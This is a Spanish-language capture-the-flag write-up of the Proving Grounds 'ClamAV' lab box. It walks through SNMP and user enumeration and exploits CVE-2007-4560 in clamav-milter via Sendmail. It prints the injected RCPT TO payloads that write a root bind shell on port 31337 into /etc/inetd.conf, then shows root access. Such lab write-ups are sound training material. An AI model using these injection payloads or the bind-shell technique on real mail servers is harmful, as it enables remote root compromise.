the_open_door
café
ESEN

ClamAV

Proving Grounds PracticeFácilLinux192.168.175.42

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#snmp#snmp-enumeration#clamav-milter#sendmail#cve-2007-4560#command-injection#smtp-user-enum#ssh-user-enum#cve-2018-15473#bind-shell#rce
TL;DR. ClamAV es una caja Linux antigua de Proving Grounds. El barrido deja a la vista un Sendmail 8.13.4 (puerto 25) y un SNMP abierto (161/udp). Consultando el SNMP con la comunidad por defecto public (enumeración SNMP) aparece el proceso clave: clamav-milter corriendo en --black-hole-mode integrado con Sendmail. Esa combinación es vulnerable a CVE-2007-4560: un RCPT TO con la forma nobody+"|comando" hace que el milter, que se ejecuta como root, ejecute el comando. Inyectamos una línea en /etc/inetd.conf que abre una bind shell en el 31337 y reiniciamos inetd. Conectar a ese puerto da shell directa como root.

Reconocimiento

Escaneo inicial

ping -c 1 192.168.175.42
64 bytes from 192.168.175.42: icmp_seq=1 ttl=61 time=29.6 ms

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido UDP de los puertos más comunes devuelve dos servicios interesantes:

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 192.168.175.42
PORT      STATE  SERVICE
137/udp   open   netbios-ns
161/udp   open   snmp

Un SNMP (161/udp) suele ser una mina de información si responde a la comunidad por defecto. Antes de tocarlo, completamos el TCP:

nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.42
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
139/tcp   open  netbios-ssn
199/tcp   open  smux
445/tcp   open  netbios-ssn
60000/tcp open  ssh
nmap -p22,25,80,139,199,445,60000 -sCV 192.168.175.42
PORT      STATE  SERVICE      VERSION
22/tcp    open   ssh          OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
25/tcp    open   smtp         Sendmail 8.13.4/8.13.4/Debian-3sarge3
80/tcp    open   http         Apache httpd 1.3.33 ((Debian GNU/Linux))
|_http-title: Ph33r
139/tcp   open   netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
199/tcp   open   smux         Linux SNMP multiplexer
445/tcp   open   netbios-ssn  Samba smbd 3.0.14a-Debian (workgroup: WORKGROUP)
60000/tcp open   ssh          OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)

Todo el stack es de la época de Debian Sarge (2005): OpenSSH 3.8, Sendmail 8.13.4, Apache 1.3.33. Software así de viejo suele tener un exploit público por servicio. El Sendmail del 25 y el SNMP del 161 son los dos hilos con más recorrido.

SNMP - UDP 161

snmp-check con la comunidad por defecto public vuelca la configuración y, sobre todo, los procesos en ejecución. Ahí está la pieza que da sentido a la caja:

snmp-check 192.168.175.42
[+] Try to connect to 192.168.175.42:161 using SNMPv1 and community 'public'

  Host IP address   : 192.168.175.42
  Hostname          : 0xbabe.local
  Description       : Linux 0xbabe.local 2.6.8-4-386 ... i686

[*] TCP connections and listening ports:
  3776   runnable   clamd            /usr/local/sbin/clamd
  3778   runnable   clamav-milter    /usr/local/sbin/clamav-milter --black-hole-mode -l -o -q /var/run/clamav/clamav-milter.ctl
  3791   runnable   nmbd             /usr/sbin/nmbd -D

El detalle decisivo es clamav-milter --black-hole-mode. Un milter (mail filter) es un programa que Sendmail invoca para cada correo; clamav-milter lo usa para pasar los mensajes por el antivirus. El modo --black-hole-mode cambia su comportamiento: en lugar de limitarse a analizar, el milter participa en la entrega y construye internamente una línea de comando con la dirección del destinatario. Esa construcción es exactamente lo que CVE-2007-4560 explota.

SMTP - TCP 25

Antes de saltar al exploit, confirmamos que el Sendmail está vivo y permite enumerar usuarios con VRFY (enumeración de usuarios SMTP), lo que ratifica que el servicio responde a nuestra interacción cruda:

telnet 192.168.175.42 25
220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; ...
VRFY root
250 2.1.5 <root@localhost.localdomain>
VRFY rot
550 5.1.1 rot... User unknown

VRFY root responde 250 (existe) y VRFY rot responde 550 (no existe): el servidor distingue usuarios válidos. No es el vector en sí, pero confirma que el Sendmail procesa nuestras órdenes, que es lo que necesita el exploit del milter.

SSH - TCP 22 (un callejón razonado)

El OpenSSH 3.8.1 es anterior a la 7.7, así que es vulnerable a la enumeración de usuarios de CVE-2018-15473. Adaptando el script público para recorrer una lista de nombres confirmamos varias cuentas del sistema:

enumeración de usuarios SSH con el script de CVE-2018-15473

[+] User: mail exists
[+] User: root exists
[+] User: news exists
[+] User: backup exists
[+] User: daemon exists
...

Es útil para inventariar cuentas, pero sin contraseñas ni claves no abre nada por sí solo (un spray contra este SSH no progresa). Lo dejamos como confirmación de usuarios y volvemos al hilo del milter, que sí lleva a ejecución de código.

Explotación

CVE-2007-4560: inyección de comando vía el milter

searchsploit enlaza el clamav-milter con Sendmail directamente:

searchsploit clamav
searchsploit -m multiple/remote/4761.pl
Sendmail with clamav-milter < 0.91.2 - Remote Command Execution   | multiple/remote/4761.pl
Codes: CVE-2007-4560

El exploit 4761.pl abre una conversación SMTP y coloca el comando dentro del destinatario con la forma nobody+"|comando". En --black-hole-mode, el milter (que corre como root) interpola esa cadena en una línea de shell y la ejecuta. La carga que usa el exploit añade una línea a /etc/inetd.conf que levanta una shell como root en el puerto 31337 y luego reinicia inetd:

perl 4761.pl 192.168.175.42
nmap -p31337 192.168.175.42

ejecución del exploit 4761.pl: el RCPT TO inyecta el comando y se acepta

En la traza SMTP se ven las dos inyecciones aceptadas con 250 ... Recipient ok y, tras ejecutar, el escaneo confirma el puerto nuevo:

250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf"> ... Recipient ok
250 2.1.5 <nobody+"|/etc/init.d/inetd restart"> ... Recipient ok

PORT      STATE SERVICE
31337/tcp open  Elite

inetd arranca el servicio definido en esa línea: cada conexión al 31337 lanza /bin/sh -i como root. No hace falta más explotación.

Shell como root

Bind shell en el 31337

Conectamos con nc al puerto que abrió el milter y comprobamos la identidad:

nc 192.168.175.42 31337

bind shell en el 31337 como root: id devuelve uid=0

whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

Es root directo, sin escalada intermedia: el milter ya ejecutaba como root y la bind shell hereda ese contexto. Leemos la prueba:

lectura de proof.txt como root

cat /root/proof.txt
6dbace6004833888c9de3256e6bc534c
hostname
0xbabe.local

Cadena de ataque

SNMP 161/udp (community public)
   └── proceso clamav-milter --black-hole-mode (integrado con Sendmail)
        └── SMTP 25: RCPT TO  nobody+"|comando"   ── CVE-2007-4560 (milter ejecuta como root)
             └── echo bind shell >> /etc/inetd.conf ; inetd restart
                  └── nc 31337  ── shell directa como root  (proof.txt)

Lecciones aprendidas

  • El SNMP con comunidad public lo cuenta casi todo. No solo el sistema: la tabla de procesos reveló el clamav-milter --black-hole-mode, que era el vector. Sin esa pista, el Sendmail parecía un servicio más.
  • Un milter corre con privilegios altos. clamav-milter se ejecutaba como root; cualquier inyección en lo que procesa hereda ese contexto. El modo --black-hole-mode convirtió el campo de destinatario en una línea de comando.
  • El software de la época de Sarge suele tener un exploit por servicio. Ver Sendmail 8.13, OpenSSH 3.8 y Apache 1.3 juntos es señal de que el camino corto es searchsploit, no fuzzing.
  • No todo hilo lleva al objetivo. La enumeración de usuarios por SSH y por SMTP confirmó cuentas, pero el acceso vino del milter. Enumerar está bien siempre que no se confunda con avanzar.
Cheatsheet de comandos 12 comandos

Repaso rápido